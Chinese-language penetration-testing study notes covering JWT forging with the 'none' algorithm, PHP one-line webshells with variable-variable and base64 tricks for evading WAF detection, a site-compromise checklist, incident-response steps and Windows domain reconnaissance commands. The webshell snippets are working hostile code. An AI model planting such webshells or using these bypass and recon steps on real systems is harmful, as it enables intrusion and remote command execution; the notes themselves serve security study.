渗透测试零碎学习笔记
JWT安全
JWT简介
- 用户登录,用户名和密码在请求中发往服务端。
- 确认登录信息正确后,服务端生成 JSON 头部和声明,将登录信息写入 JSON 的声明中(通常不写入密码,因为 JWT 是不加密的),并用指定算法进行加密,生成用户的 JWT 。此时,服务端并没有保存用户的登录状态信息。
- 服务端将 JWT 通过响应发给客户端。
- 用户进行下一次会话时,客户端自动将 JWT 写在请求头中。
- 服务端对 JWT 进行验证,若验证通过,则确认此用户的登录状态。
- 服务端返回响应。
一种利用JWT的攻击方式
窃取他人已使用过的 JWT ,将签名算法改为 none
,并修改已失效的时间戳为有效时间戳,然后利用重新构造的 JWT 进行登录。不过如果服务端检测签名算法,或对时间戳有某种限制,这种攻击方式就失效了。
一句话木马绕过
变量绕过:
1
2
3
4
5
6
7
8
9
10
$a = $_GET['x'];
$$a = $_GET['y'];
$b($_POST['cmd']);
//?x=b&y=eval
//演变过程
$a = b
$b = eval
eval($_POST['cmd'])为什么这样写,而不直接
$a($_POST['cmd']);
,是避免 waf 的参数追踪。waf 检测到 $a 可控,并后续参与了木马执行。而换一种写法,在木马执行语句中,$b 在代码层面上属于未声明变量,所以可绕过 waf 。编码绕过:
1
2
3
4
5
6
$a = $_GET['x'];
$$a = $_GET['y'];
$b(base64_decode($_POST['cmd']));
//?x=b&y=cGhwaW5mbygpOw==避免 waf 对参数值进行敏感词过滤。
代码加密。找工具,类似 JS 混淆这样的。
异或、同或…类似 RCE 的绕法。安全是相通的。
组合拳。
修改蚁剑的指纹。
小迪安全 P48 ,51分钟~1小时19分,一个很好的 RCE 绕过思路。
安全是相通的,思维要活跃,也吃经验。waf 是不可能把所有都写死的,不然留给业务逻辑的可用东西就很少,而且容易错杀,绕过就是在给出的余地中构造。
日站思路
CMS 识别,针对该 CMS 的漏洞进行测试。
无果,下一步。
找网站后台(即后台登录界面),针对后台进行测试。
无果,下一步。
端口扫描,根据端口对应的服务进行测试,如 888 对应宝塔。
无果,下一步。
寻找网站备份文件,然后慢慢解读。比如能找到数据库相关文件,用 Navicat 尝试连接网站数据库。
实战:小迪安全 P42 1小时06分之后。
Java序列化标志
一段数据以 rO0AB
开头,可以基本确定是 Java 序列化后 Base64 加密的数据。
如果以 aced
开头,则是 Java 序列化后的 16 进制数据。
应急响应
没有公司信息的进程为可疑。在 hkkvjuvffo 工具中,标蓝的进程为外部进程,即非系统自带,不过有些是安全的,需要手动识别。
找到可疑进程,如何判断是不是木马呢?
- 这个进程执行后在干什么。
- 重点,是否建立外部通信。因为木马的利用一定是要与攻击者建立联系。在上述页面中,查看网络相关项。
找到木马后,还要分析木马什么时候被执行,如开机自启动,或者开启其他服务的时候。工具:UserAssistView 。在这个工具里找到执行时间,配合日志进行分析。
案例:
应急响应的五个阶段:保护、分析、复现、修复、建议。
目的:分析攻击时间、攻击操作、攻击后果、安全修复等并给出合理的解决方案。
从表现预估入侵面及权限面进行排查。
有明确信息网站被入侵:
基于时间、基于操作、基于指纹、基于其他。
无明确信息网站被入侵:
- WEB 漏洞 - 检查源码类别及漏洞情况。
- 中间件漏洞 - 检查对应版本及漏洞情况。
- 第三方应用漏洞 - 检查是否存在漏洞应用。
- 操作系统层面漏洞 - 检查是否存在系统漏洞。
- 其他安全问题(口令、后门等) - 检查相关应用口令及后门扫描。
内网安全
ipconfig /all
,如果第一项的“主机DNS后缀”不为空,则该计算机位于内网。
域控制器(Domain Controller)是计算机网络中的一个重要角色,通常运行在 Windows 上,用于管理和维护一个 Windows 域(Domain)中的用户帐户、计算机、安全策略和其他网络资源。域控制器是 Windows 域中的关键服务器,有助于管理和保护网络资源,简化用户管理,并提供一致的用户体验。
域控制器是指在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,简写为 DC 。
net view /domain
命令用于在 Windows 系统中显示当前机器连接到的网络中所有域的列表。
net time /domain
命令用于查看 Windows 系统中计算机与域控制器同步的时间信息。通过运行此命令,可以查看域控制器的时间设置,以确保计算机与域中的时间同步正确。
查看 DC 的 IP 地址:
得到 DC 名称后,用 ping
命令也行。
计算机基本信息搜集指令:
- systeminfo 详细信息
- net start 启动服务
- tasklist 进程列表
- schtasks 计划任务
用户信息搜集指令:
- whoami /all 用户权限
- net config workstation 登录信息
- net user 本地用户
- net localgroup 本地用户组
- net user /domain 获取域用户信息
- net group /domain 获取域用户组信息
- wmic useraccount get /all 涉及域用户详细信息
- net group “Domain Admins” /domain 查询域管理员账户
- net group “Enterprise Admins” /domain 查询管理员用户组
- net group “Domain Controllers” /domain 查询域控制器
建立 IPC 常见的错误代码:
建立 IPC 失败的原因: